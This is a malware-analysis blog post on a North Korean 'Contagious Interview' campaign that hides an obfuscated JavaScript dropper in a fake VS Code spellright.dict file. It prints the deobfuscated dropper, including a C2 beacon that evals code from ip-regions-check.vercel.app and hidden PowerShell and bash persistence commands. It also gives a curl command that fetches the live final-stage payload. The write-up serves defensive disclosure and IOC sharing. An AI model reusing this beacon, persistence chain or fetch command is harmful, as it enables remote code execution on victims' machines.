New DPRK Malware Uses Microsoft VSCode Dictionary Files
North Korean threat actors are hiding multi-stage malware droppers in VSCode configuration files, disguised as spell-check dictionaries, to compromise developers through fake job interviews and establish persistent backdoors with remote code execution capabilities.
The OpenSourceMalware team has identified a new variation of the “Contagious-Interview” campaign. This is similar to the one we reported on in mid December, but is more portable as the second stage payload is embedded in a file in the source repository. Both of these latest campaigns take advantage of Microsoft VSCode tasks functionality to automatically infect developers that open the source code in VSCode. A tasks.json file included in the source code repository is the initial infection vector.
Executive Summary
North Korean APT actors are hiding sophisticated multi-stage droppers in Visual Studio Code configuration files, specifically targeting developers through the ongoing "Contagious Interview" campaign. The malware disguises itself as a harmless spell-check dictionary (.vscode/spellright.dict) but contains heavily obfuscated JavaScript that establishes a persistent backdoor with full remote code execution capabilities.
Key Findings:
- C2 Server:
ip-regions-check.vercel.app - Attack Vector: Obfuscated JavaScript in
.vscode/spellright.dict - Persistence: Hidden Node.js process in
~/Programs_X64/ - Capability: Unrestricted RCE via
eval(response.data) - Platform: Cross-platform (Windows, Linux, macOS)
Background: When Job Interviews Turn Malicious
The "Contagious Interview" campaign, attributed to North Korean state-sponsored actors (Lazarus Group/APT38), has been targeting software developers since at least 2023. The attack typically unfolds like this:
- Developers receive seemingly legitimate job offers from fake recruiters, or are approached on websites like Fiverr and Upwork about working on a new crypto project.
- As part of the "technical assessment," victims are sent coding challenges or NPM packages
- These materials contain hidden malware disguised as development tools
- Once executed, the malware establishes persistence and exfiltrates sensitive data
Historically, the threat actors used post-install scripts in the JavaScript manifest files in the source code repository they had developers download. You can see an example of the attack chain in the Reddit post from 2023 below:
The problem with this type of initial infection method is that its fiddly. You have to hope that the victim doesn’t look at the package.json file too closely, and you don’t know if there are client side security controls in place like supply chain firewalls, private registries, or tools like my MALOSS project that scans project manifest files for malicious packages.
Many developers have become more cautious lately so threat actors are finding it more difficult to use the old NPM post-install script trick.
So, they have to innovate and try new techniques.
What makes this new version of “contagious interview” particularly insidious is its deep understanding of developer workflows and tooling. By hiding malware in VSCode configuration files, the attackers exploit the trust developers place in their development environment.
Why does North Korea focus on software engineers?
North Korean threat actors specifically target software engineers because they represent a critical intersection of technical expertise and access to valuable financial assets. Engineers working in cryptocurrency, blockchain, and fintech sectors often have privileged access to digital wallets, private keys, exchange infrastructure, and customer funds—making them prime targets for theft operations that directly fund the DPRK regime. Additionally, compromised engineers at technology companies, startups, and financial institutions can provide access to proprietary source code, intellectual property, internal systems, and sensitive client data that can be monetized through various means including ransomware, data extortion, or sale on underground markets. The regime's focus on this demographic is not merely opportunistic but strategic, as successfully compromising even a single engineer at the right organization can yield millions in cryptocurrency theft or provide persistent access to high-value corporate networks.
According to Chainalysis North Korean threat actors stole $2 billion (US) last year. As the Lazarus and other DPRK groups fine tune their playbooks they are able to make their attacks more efficient, and require less human intervention.
This latest iteration of “contagious interview” is a perfect example…
Latest Innovation: VSCode Tasks
Last month we talked about how DPRK had found a new, more effective way to deliver initial infection: Microsoft Visual Studio Code, also known as VS Code.
If you want to read that earlier blog post, you can find it here.
VS Code is the most popular code editor and integrated developer environment (IDE) tool in use today. 75.9% of professional engineers say they use it. VS Code supports Windows, LInux and macOS, and it’s one of the most popular Microsoft tools. Ironically, its free too!
VS Code Tasks
VS Code has many cool features, but one of the least know, or understood is its Tasks functionality. Visual Studio Code tasks allow developers to integrate external tools and automate workflows directly in the editor. Tasks can run scripts, start processes, and execute commands—all without leaving VS Code or opening a terminal.
These tasks are automatically run when different events happen. One of the most common ways for a VS Code task to run is when a file inside a folder is opened. While this functionality can be handy for a developer, it is also perfect for criminals as a task with the runOn: folderOpen option, will run every time a file from that directory is opened in VS Code.
With VSCode tasks, Microsoft has deigned the perfect remote code execution pipeline. In this attack, the tasks file delivers the first stage of the malware and establishes persistence on the victim's system. And even better, it runs again and again and again, every time you open VS Code or anything from that directory. It really is a brilliant way to deliver malware. Thanks Microsoft!
The Discovery: A Dictionary That Isn't
An OpenSourceMalware community member found a GitHub repository that was clearly a DPRK “contagious interview” artefact. The threat actors use a combination of fake git commits, and more recently we’ve seen users compromised in shai-hulud and other attacks have their GitHub accounts repurposed in other attacks. More on this coming soon…
This malicious GitHub repository was using the standard VS Code tasks.json initial payload, but also had a backup plan if that didn’t work:
This use of a backup method is new: a .vscode/spellright.dict file that was included in the repository contents:
VS Code allows users to create or use others dictionary files. In this case, the threat actors are pretending to be a dictionary file associated with a popular, and legitimate VS Code extension SpellRight. This does not mean however, that SpellRight is compromised or hacked. It just means that the threat actors found a popular extension, and are using its name to appear legitmate.
This dictionary file was suspiciously large and contained JavaScript instead of a simple word list:
For context, the SpellRight extension for VSCode uses dictionary files to store custom words. These are normally plain text files with one word per line. This file? Over 6KB of heavily obfuscated JavaScript.
Here's what the beginning of the file looks like:
const _0x39a058=_0x28aa;(function(_0x43a65e,_0x2d9cf8){const _0x479488=_0x28aa,_0x4a3186=_0x43a65e();while(!![]){try{const _0x481da6=parseInt(_0x479488(0x20d))/0x1+parseInt(_0x479488(0x1ee))/0x2+...
Red flags everywhere. Let's dive into what this actually does, shall we?
Deobfuscation: Unwrapping the Layers
The Obfuscation Technique
The malware uses a classic JavaScript obfuscation pattern that we see frequently in web-based malware: Multiple obfuscation techniques layered on top of each other.
They include:
- String Array Hiding: All meaningful strings are stored in an array
- Hex Offset Access: Strings are accessed via hex-encoded offsets
- Runtime Array Shuffling: The string array is shuffled at runtime
- Variable Name Mangling: All variables use meaningless hex-prefixed names
Here's the string array function:
function _0xbf28(){
const _0x58bf22=[
'log',
'\\x20install\\x20a',
'\\x22\\x20&&\\x20C:\\x20&&',
'up\\x20node\\x20ma',
's\\x20=\\x20requir',
'x-secret-h',
// ... 60+ more obfuscated strings
];
return _0x58bf22;
}
And the offset function that translates hex values to array indices:
function _0x28aa(_0x27e4cd,_0x5d4513){
_0x27e4cd=_0x27e4cd-0x1e4; // Base offset
const _0xbf287=_0xbf28();
let _0x28aa50=_0xbf287[_0x27e4cd];
return _0x28aa50;
}
So when you see _0x39a058(0x1ea), it's actually:
- Subtracting base offset:
0x1ea - 0x1e4 = 0x6 - Accessing array index 6:
_0xbf28()[6] - Returning the string value
Deobfuscation Process
We deobfuscated this malware using an LLM enabled workflow that we’ve perfected over the course of several months. It’s important to understand that an AI enabled workflow like this needs to be managed by humans, and that’s exactly what we did.
We’ll write more about our process in the future, but for now, let’s get back to this particular kill chain
Stage 1: The Initial Dropper
Once deobfuscated, the initial dropper's purpose becomes clear. Here's the cleaned-up code:
const path = require("path");
const { exec } = require("child_process");
const fs = require('fs');
const os = require('os');
// Create hidden directory
const folderName = "Programs_X64"; // Mimics legitimate Windows directory
const homeDir = os.homedir();
const targetDir = path.join(homeDir, folderName);
try {
if (!fs.existsSync(targetDir)) {
fs.mkdirSync(targetDir, {'recursive': true});
}
} catch (error) {
console.log("Failed to create directory:", error);
process.exit(1);
}
What's happening here:
- Creates a directory called
Programs_X64in the user's home directory - The name is deliberately chosen to look legitimate (mimicking Windows program directories)
- Uses recursive creation to avoid errors
- Fails silently if there are permission issues
Stage 2: Writing the C2 Beacon
Next, the dropper writes a second-stage payload to main.js. This is where things get really dangerous:
const run = `const axios = require("axios");
const url = "<https://ip-regions-check.vercel.app/api/ip-check-encrypted/3aeb34a38>";
axios.post(url, {}, { headers: { "x-secret-header": "secret" } })
.then((response) => {
eval(response.data); // ⚠️ CRITICAL VULNERABILITY
return response.data;
})
.catch((err) => {
return false;
});`;
const mainPath = path.join(targetDir, "main.js");
fs.writeFileSync(mainPath, run, {'encoding': 'utf8'});
Let's break down what makes this so dangerous:
- C2 Communication: Beacons to
ip-regions-check.vercel.app(clever use of Vercel infrastructure) - Authentication Header: Uses
x-secret-header: secretfor authentication - Campaign Tracking: The string
3aeb34a38appears to be a campaign or victim identifier - Arbitrary Code Execution: The
eval(response.data)line is the kill shot—it executes ANY JavaScript the C2 server sends back - Silent Failure: Catches errors and returns false, making debugging difficult
That eval() call gives the attacker:
- Full file system access (read, write, delete)
- Network communication capabilities
- Process spawning
- Access to environment variables (via Node.js process.env)
- Ability to load additional modules and execute arbitrary code
Stage 3: Persistence and Execution
Finally, the dropper establishes persistence with platform-specific commands:
Windows Execution
cd "${targetDir}" && C: && powershell -Command "Start-Process powershell -ArgumentList '-Command', 'npm init -y; npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &' -WindowStyle Hidden"
Windows-specific tricks:
- Uses PowerShell's
Start-ProcesswithWindowStyle Hiddento hide the window - Chains commands to initialize npm, install packages, and launch the beacon
- Redirects output to
app.logto hide execution traces
Unix/Linux/macOS Execution
cd "${targetDir}" && bash -lc "cd '${targetDir}' && npm init -y && npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &"
Unix-specific tricks:
- Uses
nohupto detach the process from the terminal - Redirects both stdout and stderr to
app.log - Runs in background with
& - Survives terminal closure
The NPM Packages
Both commands install three legitimate NPM packages:
- axios: HTTP client for C2 communication
- request: Backup HTTP client (redundancy)
- sqlite3: Database functionality
The DPRK JavaScript playbook has standardized on using these libraries across the 2025 campaigns we analyzed.
The C2 Infrastructure: Abusing Vercel
One of the more interesting aspects of this campaign is the choice of infrastructure. The C2 server is hosted on Vercel (ip-regions-check.vercel.app), a legitimate platform-as-a-service provider.
Why Vercel?
- Trust: Vercel domains are generally trusted and not blocked
- HTTPS by Default: Built-in SSL/TLS encryption
- Ease of Deployment: Quick to set up, easy to tear down
- Serverless: No infrastructure management required
- Hard to Attribute: Anyone can create a Vercel app
The endpoint path /api/ip-check-encrypted/3aeb34a38 is particularly clever:
- Looks like a legitimate IP geolocation service
- The "encrypted" keyword suggests normal security practices
- The trailing identifier (
3aeb34a38) allows campaign tracking
Authentication:
The custom header x-secret-header: secret is rudimentary but effective:
- Prevents casual reconnaissance
- Ensures only infected machines can retrieve payloads
- Could be used to fingerprint requests
Stage 4: The Final Destination!
It took some fiddling, but I finally downloaded the last stage from the C2 server. And holy hell, it's a doozy!
The Download
Pull the stage 4 payload from the Vercel endpoint with curl:
(yes this still works, so be careful!!!)
curl -X POST \
-H "Content-Type: application/json" \
-H "x-secret-header: secret" \
-d '{}' \
https://ip-regions-check[.]vercel[.]app/api/ip-check-encrypted/3aeb34a38 \
-o stage3_payload.js
What came back was... 1.5 MEGABYTES of JavaScript. On. One. Line.
The Obfuscation Is Next-Level
This isn't your typical obfuscated malware. This is professional, nation-state-level obfuscation. These DPRK folks ain’t messing around.
Six Layers of Obfuscation:
-
Single-Line Minification
- Entire 1.5MB payload on ONE line
- No line terminators at all
- Makes basic analysis nearly impossible
-
Hex-Encoded String Array
- 1000+ strings stored in an encrypted array
- Accessed via hex offsets like
_0x4be5(0x1ea, 'key') - Each string individually encrypted
-
RC4 Stream Cipher
// Actual encryption function found in the code: const rc4Decrypt = function(encryptedData, key) { let keySchedule = []; // Standard RC4 Key Scheduling Algorithm for (let i = 0; i < 256; i++) { keySchedule[i] = i; } // Key mixing for (let i = 0; i < 256; i++) { j = (j + keySchedule[i] + key.charCodeAt(i % key.length)) % 256; // Swap elements } // XOR with keystream to decrypt // ... actual decryption logic } -
Base64 Encoding
- All encrypted strings are also Base64 encoded
- Custom charset:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
-
Runtime Array Shuffling
// The array shuffles itself at initialization while(true) { const checksum = /* complex arithmetic */; if(checksum === 0x115d8a) break; else array.push(array.shift()); // Rotate } -
Anti-Debugging
// RegExp-based debugger detection const regex = /\\w+\\s*\\(\\)\\s*{\\w+\\s*['|"].+['|"];?\\s*}/; if(regex.test(functionString)) { // Detected debugging, alter behavior }
Why This Level of Obfuscation?
Each string in the malware is encrypted with RC4 using an individual key. That means:
- You can't just decrypt all the strings at once
- Static analysis tools fail completely
- You need to either:
- Execute the code (dangerous!)
- Manually replicate 1000+ RC4 decryptions
- Use specialized deobfuscation tools
This is designed to evade:
- Antivirus signature detection - EDR won’t help here
- Static malware analysis
- Security researchers trying to understand it
- Automated sandbox systems
Community Defense: How You Can Help
The security community's collective response is crucial. You can help out by creating a free account on OpenSourceMalware.com.
On the OpenSourceMalware (OSM) website you can research any kind of malicious software supply chain attack type including software packages, VS Code extensions, domains and URLs used in malware campaigns and a lot more!
Share Your IOCs
If you've encountered this or similar campaigns you can submit a threat report at https://opensourcemalware.com/report:
- Share file hashes
- Report C2 domains
- Document TTPs
- Publish analysis
Indicators of Compromise (IOCs)
Domains and URLs
ip-regions-check.vercel.app
https://ip-regions-check.vercel.app/api/ip-check-encrypted/3aeb34a38
IP Addresses
146.70.41.188
File Paths
~/.vscode/spellright.dict
~/Programs_X64/main.js
~/Programs_X64/app.log
.vscode/tasks.json
HTTP Headers
x-secret-header: secret
Campaign Identifiers
3aeb34a38
Processes and Commands
node main.js
npm install axios request sqlite3
powershell -Command "Start-Process powershell -ArgumentList '-Command', 'npm init -y; npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &' -WindowStyle Hidden"
bash -lc "cd '${targetDir}' && npm init -y && npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &"
Remember: If a job opportunity seems too good to be true, it probably is. And if your spell-check dictionary is 6KB of JavaScript, you have bigger problems than typos.
Stay safe out there. 🔒
Questions? Found additional samples? Contact us or submit an report on OpenSourceMalware.
Special thanks to the security research community for their ongoing efforts to combat these threats.
Published by OpenSourceMalware Community | January 5, 2025 Tags: #MalwareAnalysis #ContagiousInterview #DPRK #Lazarus #SupplyChain #NodeJS #VSCode